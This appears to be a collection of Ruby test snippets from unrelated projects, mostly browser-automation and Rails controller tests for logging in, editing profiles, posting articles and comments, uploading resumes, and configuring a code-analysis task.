"def test_011\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n #Pu created\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n sleep 2\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # click link setup QAC++\n assert is_text_present(\"qacpp\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link2\"]\n # check log in the navigation bar\n sleep 2\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test_ID_25842_edit_profile_a_little_more_about_me\n login_as_user1\n go_to_edit_profile_page\n verify_little_more_about_me_text_optional\n verify_text_can_be_entered_saved_on_little_more_about_me\n end",
"def test_ID_25842_edit_profile_a_little_more_about_me\n login_as_user1\n go_to_edit_profile_page\n verify_little_more_about_me_text_optional\n verify_text_can_be_entered_saved_on_little_more_about_me\n end",
"def test_edit\n \n # Try editing from an Admin account\n admin_session = cathy_admin_session\n \n post(:edit,\n { :id => design_directories(:hw_design_ah).id },\n admin_session)\n assert_response 200\n assert_equal(design_directories(:hw_design_ah).name, \n assigns(:design_directory).name)\n\n assert_raise(ActiveRecord::RecordNotFound) {\n post( :edit, {:id => 1000000 }, admin_session)\n }\n\n end",
"def test02_pre_open_news_ArticleOneComment_TC_24319\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_pre_open_article)\n\t\t\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\tend",
"def test05_post_closed_news_close_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_closed_article_new)\n\t\t\n\t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tclose_delete\n\tend",
"def quick_edit(mode)\n\told_mode = self.mode\n\t\tself.mode = mode\n\t\t\n\t\tself.tap |mode_handle|\n\t\t\tyield mode_handle\n\t\tend",
"def test03_news_OpenOther\n\t\tlogin $editor_1_email, $master_password\n\t\t$browser.goto($patch_new_news_group)\n\t\tsleep 5\n\n\t\t$group_name.set(\"Other Group #{random}\")\n\t\t$group_nickname.set(\"Nickname #{random}\")\n\t\t$group_description.set(\"Description #{random}\")\n\t\t$category_other.click\n\t\t$boards_arts_ent_image.when_present.fire_event(\"onclick\")\n\t\t$create_group.click\n\t\t\n\t\tcheckIfIncorrectErrorDisplays\n\t\t\n\tend",
"def edit\n @test = Project.find(params[:id])\n end",
"def open_session\n @current_session = new_session\n @current_session.test_case = self\n yield @current_session if block_given?\n @current_session\n end",
"def test02_post_open_news_CancelDeleteNoteOneComment_TC_24319\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open_note)\n\t\t\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentCancelDelete\n\t\t\n\t\tassert $comment_delete_link.exists?\n\tend",
"def test_022\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n # logout\n logout\n\n end",
"def testEditDownloadList(client)\n\t\tclient.sleep(2000)\n\t\tputs \"\"\n\t\tputs \"\"\n\t\tputs \"::MSG::[ANDROID] STARTING TEST EDITING DOWNLOAD@ダウンロードの編集機能\"\n\n\t\t$totalTest = $totalTest + 1 \n\n\t\tbegin\n\t\t\tclient.sleep(2000)\n\t\t\tif client.isElementFound(\"NATIVE\", \"text=つづきを再生\")\n\t\t\t\tEditDownload.new.listEditing(client)\n\t\t\telse\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@contentDescription='上へ移動']\", 0, 1)\n\t\t\t\tclient.sleep(1000)\n\t\t\t\tclient.click(\"NATIVE\", \"text=ホーム\", 0, 1)\n\t\t\t\tclient.sleep(2000)\n\t\t\t\tEditDownload.new.listEditing(client)\n\t\t\tend\n\t\trescue Exception => e\n\t\t\t$errMsgEditd = \"::MSG:: Exception occurrred while finding element: \" + e.message\t\n\t\tend\t\n\n\t\tif $execution_time == nil\n\t\t\t@exetime = $execution_time\n\t\telse\n\t\t\t@exetime = $execution_time\n\t\tend\n\t\t@test_device = \"ANDROID\" \n\t\t@testcase_num = 20\n\t\t@testcase_summary = \"ダウンロードの編集\"\n\t\t@test_result = $result\n\t\t@capture_url = $captureURL\n\t\t@err_message = $errMsgEditd\n\t\t@comment = @@comment\n\n\t\tputs ($obj_snddb.insertIntoReleaseTestEachFunc(@exetime, @testcase_num, @testcase_summary, @test_result, @capture_url, @err_message, @comment))\n\tend",
"def test_017\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n #An option is checked\n assert is_checked($xpath[\"task\"][\"master_option_chk2\"])\n #Click a directory link\n click $xpath[\"task\"][\"master_option_dir1\"]\n sleep 2\n #All file of directory is checked.\n\n assert is_checked($xpath[\"task\"][\"master_option_chk3\"])\n assert is_checked($xpath[\"task\"][\"master_option_chk4\"])\n\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test04_pre_open_blog_cancel_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_blogs_pre_open_article_new)\n\t\t\n\t\tsleep 2\n \t\t$post_article_title.set(\"Article #{random}\")\n \t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('Automated Text')\")\n\t\t$post_save_draft.click\n\t\t\n\t\tassert $post_draft_success.exists?\n\t\tcancel_delete\n\tend",
"def test_edit\n\n # Try editing without logging in.\n get(:edit, {:id => subsections( :subsection_01_1_1).id }, {})\n assert_redirected_to(:controller => 'user', :action => 'login')\n\n # Try editing from a non-Admin account.\n get(:edit, { :id => subsections(:subsection_01_1_1).id }, rich_designer_session)\n assert_redirected_to(:controller => 'tracker',\t:action => 'index')\n #assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n # Try editing from an Admin account\n get(:edit, { :id => subsections(:subsection_01_1_1).id }, cathy_admin_session)\n assert_response 200\n assert_equal(subsections(:subsection_01_1_1).id, assigns(:subsection).id)\n assert_raise(ActiveRecord::RecordNotFound) { post(:edit, :id => 32423423) }\n\n end",
"def test_021\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n # logout\n logout\n\n end",
"def test_024\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n #The directory/file names which were being changed into the state\n #where it does not check at the information dialog\n #which clicks analyze_deny_files and comes out are enumerated.\n\n click $xpath[\"task\"][\"analyze_deny_files\"]\n sleep 3\n\n assert is_text_present(\"sample_c/Makefile\")\n\n\n # logout\n logout\n\n end",
"def test_ID_25841_edit_profile_i_am_a_optional\n login_as_user1\n go_to_edit_profile_page\n verify_i_am_a_text_optional\n verify_text_can_be_entered_saved_on_i_am_a_textfield\n end",
"def test_AddResumeResumeToolsCorrectFileType\n \n #PRECONDITIONS\n #Login\n Common.login(Users::USER_EMAIL, Users::PASSWORD)\n \n Common.go_to_parser_settings()\n CustomSettings.DefineResumeAllowedTypes(\"pdf\")\n \n Common.goToTab(HomePage::CONTACTS_TAB_LINK_XPATH)\n # 1. Click on \"Add Resume\" om \"Resume Tools\" in the sidebar\n test = [\n {\"displayed\" => HomePage::ADD_RESUMES_XPATH},\n {\"click\" => HomePage::ADD_RESUMES_XPATH},\n ]\n Common.main(test)\n \n sleep(6)\n \n newWindow= $browser.window_handles.last\n $browser.switch_to.window(newWindow)\n \n file = File.join(Dir.pwd, @@resume_path)\n \n test = [\n {\"displayed\" => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_BROWSE_XPATH},\n # 2. Click on \"Browse ...\" to upload a file with type added in preconditions\n {\"upload\" => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_BROWSE_XPATH, \"file\" => file}\n ]\n Common.main(test) \n \n # 3. Click on \"Add Resume\" \n begin\n button = $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_ADD_RESUEM_XPATH).displayed?\n rescue \n button = false \n end\n if button\n $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_ADD_RESUEM_XPATH).click\n else\n $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_ADD_RESUME_2_XPATH).click\n end\n \n sleep(5)\n newWindow= $browser.window_handles.first\n $browser.switch_to.window(newWindow)\n \n assert $wait.until {\n $browser.find_element(:xpath => ContactDetailPage::CONTACT_DETAIL_BTN_ADD_SKILL_XPATH).displayed?\n }\n \n \n end",
"def test02_post_closed_news_cancel_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_closed_article_new)\n\t\t\n\t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tcancel_delete\n\tend",
"def test_should_get_edit\n # login_as :user_986324922\n # get :edit, :id => jobs(:one).id\n # assert_response :success\n end",
"def test02_post_open_news_ArticleOneComment_TC_24319\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open_article)\n\t\t\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\tend",
"def reopen\n end",
"def test04_post_closed_news_ArticleVideo_TC_24303\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open_article_new)\n\t\t\t\n\t\tsleep 2\n\t\t$post_activate_note.fire_event(\"onclick\")\n \t\t$post_article_title.when_present.set(\"Article #{random}\")\n\t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('Automated Text')\")\n \t\t$post_media_button.when_present.click\n\t\tfile_upload \"DungenessSpit102.26.2012.mov\"\n\t\t$post_now.fire_event(\"onclick\")\n\t\n\t\tsleep 2\n\t\tassert $post_new_post.exists?\n\tend",
"def test_ID_25841_edit_profile_i_am_a_optional\n login_as_user1\n go_to_edit_profile_page\n verify_i_am_a_text_optional\n verify_text_can_be_entered_saved_on_i_am_a\n end",
"def test_ResumeUpdateCorrectFileType\n \n #PRECONDITIONS\n #Login\n Common.login(Users::USER_EMAIL, Users::PASSWORD)\n \n Common.go_to_parser_settings()\n CustomSettings.DefineResumeAllowedTypes(\"pdf\")\n \n # 1. Click on \"Contacts\"\n Common.goToTab(HomePage::CONTACTS_TAB_LINK_XPATH)\n \n # 2. Click on one record\n test =[\n {\"displayed\" => ContactsHomePage::CONTACT_HOME_FIRST_VIEW_OPTION_XPATH},\n {\"click\" => ContactsHomePage::CONTACT_HOME_FIRST_VIEW_OPTION_XPATH},\n {\"click\" => ContactsHomePage::CONTACT_HOME_BTN_GO_XPATH},\n {\"displayed\" => ContactsHomePage::CONTACT_HOME_CONTACT_LIST_XPATH},\n {\"click\" => ContactsHomePage::CONTACT_HOME_FIRST_ENTRY_GO_XPATH},\n {\"displayed\" => ContactDetailPage::CONTACT_DETAIL_HOVER_LINKS_XPATH},\n {\"displayed\" => ContactDetailPage::CONTACT_DETAIL_BTN_NEW_UPDATE_RESUME_XPATH},\n # 3. Click on \"Resume Update\" button \n {\"click\" => ContactDetailPage::CONTACT_DETAIL_BTN_NEW_UPDATE_RESUME_XPATH}\n ]\n Common.main(test) \n\n sleep(6)\n \n newWindow= $browser.window_handles.last\n $browser.switch_to.window(newWindow)\n \n file = File.join(Dir.pwd, @@resume_path)\n \n test = [\n {\"displayed\" => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_BROWSE_XPATH},\n # 4. Click on \"Browse ...\" to upload a file with type added in preconditions\n {\"upload\" => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_BROWSE_XPATH, \"file\" => file}\n ]\n Common.main(test) \n \n # 5. Click on \"Add Resume\" \n begin\n button = $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_ADD_RESUEM_XPATH).displayed?\n rescue \n button = false \n end\n if button\n $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_ADD_RESUEM_XPATH).click\n else\n $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_ADD_RESUME_2_XPATH).click\n end\n \n sleep(5)\n newWindow= $browser.window_handles.first\n $browser.switch_to.window(newWindow)\n \n assert $wait.until {\n $browser.find_element(:xpath => ContactDetailPage::CONTACT_DETAIL_BTN_ADD_SKILL_XPATH).displayed?\n }\n \n end",
"def toggle_editmode\n\t\t@editmode = true\n\t\t$screen.write_message(\"Edit mode\")\n\tend",
"def test02_post_closed_news_NoteTwoVideo_TC_24303\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open)\n\t\tsleep 2\n\t\t$post_activate_note.fire_event(\"onclick\")\n\t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('Automated Text')\")\n\t\t$post_media_button.when_present.click\n\t\tfile_upload \"DungenessSpit102.26.2012.mov\"\n\t\t$post_media_button.when_present.click\n\t\tfile_upload \"DungenessSpit202.26.2012.mpg\"\n\t\t$browser.send_keys :enter\n\t\n\t\tsleep 2\n\t\tassert $browser.text.include? \"Automated Text\"\n\tend",
"def edit\n puts \"******* edit *******\"\n end",
"def test02_CloseFlagNoteDialog\n\t\tcommentNotePop\n\t\tsleep 4\n\t\tcommentPopSubmit\n\t\tsleep 4\n\t\tcommentCloseFlag\n\t\t\n\t\tbegin \n\t\tassert $comment_flag_link.exists?\n\t\t\trescue => e\n\t\t\tputs \"IPST02: FAILED! User unable to flag comment!\"\n\t\t\tputs e\n\t\tend\n\tend",
"def test_015\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n #An option setup was performed\n\n assert is_checked($xpath[\"task\"][\"master_option_chk1\"])\n\n #uncheck an option setup\n click $xpath[\"task\"][\"master_option_chk1\"]\n\n\n #Get window id\n window_id = get_attribute(\"//body/div[2]\", \"id\")\n window_id =~ /.*?id=(\\d+).*?/\n\n #Close window\n click window_id + \"_close\"\n\n sleep 3\n #Open popup set again\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n #the information set remains\n assert is_checked($xpath[\"task\"][\"master_option_chk1\"])\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test_ResumeUpdateIncorrectFileType\n \n #PRECONDITIONS\n #Login\n Common.login(Users::USER_EMAIL, Users::PASSWORD)\n \n Common.go_to_parser_settings()\n CustomSettings.DefineResumeAllowedTypes(\"txt\")\n \n # 1. Click on \"Contacts\"\n Common.goToTab(HomePage::CONTACTS_TAB_LINK_XPATH)\n \n # 2. Click on one record\n test =[\n {\"displayed\" => ContactsHomePage::CONTACT_HOME_LIST_XPATH},\n {\"click\" => ContactsHomePage::CONTACT_HOME_FIRST_VIEW_OPTION_XPATH},\n {\"click\" => ContactsHomePage::CONTACT_HOME_BTN_GO_XPATH},\n {\"displayed\" => ContactsHomePage::CONTACT_HOME_CONTACT_LIST_XPATH},\n {\"click\" => ContactsHomePage::CONTACT_HOME_FIRST_ENTRY_GO_XPATH},\n {\"displayed\" => ContactDetailPage::CONTACT_DETAIL_HOVER_LINKS_XPATH},\n {\"displayed\" => ContactDetailPage::CONTACT_DETAIL_BTN_NEW_UPDATE_RESUME_XPATH},\n # 3. Click on \"Resume Update\" button \n {\"click\" => ContactDetailPage::CONTACT_DETAIL_BTN_NEW_UPDATE_RESUME_XPATH}\n ]\n Common.main(test) \n\n sleep(6)\n \n newWindow= $browser.window_handles.last\n $browser.switch_to.window(newWindow)\n \n file = File.join(Dir.pwd, @@resume_path)\n \n test = [\n {\"displayed\" => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_BROWSE_XPATH},\n # 4. Click on \"Browse ...\" to upload a file with type added in preconditions\n {\"upload\" => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_BROWSE_XPATH, \"file\" => file}\n ]\n Common.main(test) \n \n # 5. Click on \"Add Resume\" \n begin\n button = $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_ADD_RESUEM_XPATH).displayed?\n rescue \n button = false \n end\n if button\n $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_ADD_RESUEM_XPATH).click\n else\n $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_ADD_RESUME_2_XPATH).click\n end\n \n Common.displayed(AddResumePopUpPage::ADD_RESUME_POPUP_BTN_BROWSE_XPATH)\n \n #Result\n assert_equal(\"Error:\\nWrong file type. The following file types are allowed: txt\", $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_ERROR_MESSAGE_XPATH).text)\n \n # For closing all popups\n $browser.find_element(:xpath => AddResumePopUpPage::ADD_RESUME_POPUP_BTN_CANCEL_XPATH).click\n newWindow= $browser.window_handles.first\n $browser.switch_to.window(newWindow)\n \n end",
"def test05_post_open_news_FlagNoteComment\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open_note)\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentFlag\n\t\tsleep 1\n\t\tassert $comment_flag_success.exists?\n\tend",
"def test03_post_closed_blog_edit_article_post_TC_24306\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_blogs_post_closed_article)\n\t\t\n\t\t$post_edit_post.when_present.click\n\t \tsleep 2\n\t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('lava likes edit. #{random}')\")\n\t\t$post_now.when_present.fire_event(\"onclick\")\n\t\tsleep 2\n\t\t\n\t\tassert $post_edit_post.exists?\n\tend",
"def ios_testEditDownloadList(client)\n\t\tclient.sleep(2000)\n\t\tputs \"\"\n\t\tputs \"\"\n\t\tputs \"::MSG::[iOS] STARTING TEST EDITING DOWNLOAD@ダウンロードの編集機能\"\n\n\t\t$totalTest = $totalTest + 1 \n\n\t\tbegin\n\t\t\tclient.sleep(2000)\n\t\t\tif client.isElementFound(\"NATIVE\", \"text=つづきを再生\")\n\t\t\t\tEditDownload.new.ilistEditing(client)\n\t\t\telse\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.HamburgerButton']\", 0, 1)\n\t\t\t\tclient.sleep(2000)\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='ホーム']\", 0, 1)\n\t\t\t\tclient.sleep(2000)\t\t\t\t\n\t\t\t\tEditDownload.new.ilistEditing(client)\n\t\t\tend\n\t\trescue Exception => e\n\t\t\t$errMsgEditd = \"::MSG:: Exception occurrred while finding element: \" + e.message\t\n\t\tend\t\n\n\t\tif $execution_time == nil\n\t\t\t@exetime = $execution_time\n\t\telse\n\t\t\t@exetime = $execution_time\n\t\tend\n\t\t@test_device = \"iOS\"\n\t\t@testcase_num = 20\n\t\t@testcase_summary = \"ダウンロードの編集\"\n\t\t@test_result = $result\n\t\t@capture_url = $captureURL\n\t\t@err_message = $errMsgEditd\n\t\t@comment = @@comment\n\n\t\tputs ($obj_snddb.insertIntoReleaseTestEachFunc(@exetime, @testcase_num, @testcase_summary, @test_result, @capture_url, @err_message, @comment))\n\tend",
"def test_016\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n #An option setup was performed\n\n assert is_checked($xpath[\"task\"][\"master_option_chk2\"])\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Click a directory link\n click $xpath[\"task\"][\"master_option_dir1\"]\n sleep 2\n assert !is_checked($xpath[\"task\"][\"master_option_chk3\"])\n assert !is_checked($xpath[\"task\"][\"master_option_chk4\"])\n\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test_013\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n\n #Get window id\n window_id = get_attribute(\"//body/div[2]\", \"id\")\n window_id =~ /.*?id=(\\d+).*?/\n\n #Maximize window\n click window_id + \"_maximize\"\n\n sleep 3\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test_show_close\n submit_with_person :close, { \n :person_id => people(:one),\n :id => listings(:valid_listing)\n }, nil, nil, :get\n assert_response :success\n assert_template 'close' \n assert_not_nil assigns(:listing)\n #assert_not_nil assigns(:person) # not needed anymore\n assert_not_nil assigns(:kassi_event)\n #assert_not_nil assigns(:people)\n end",
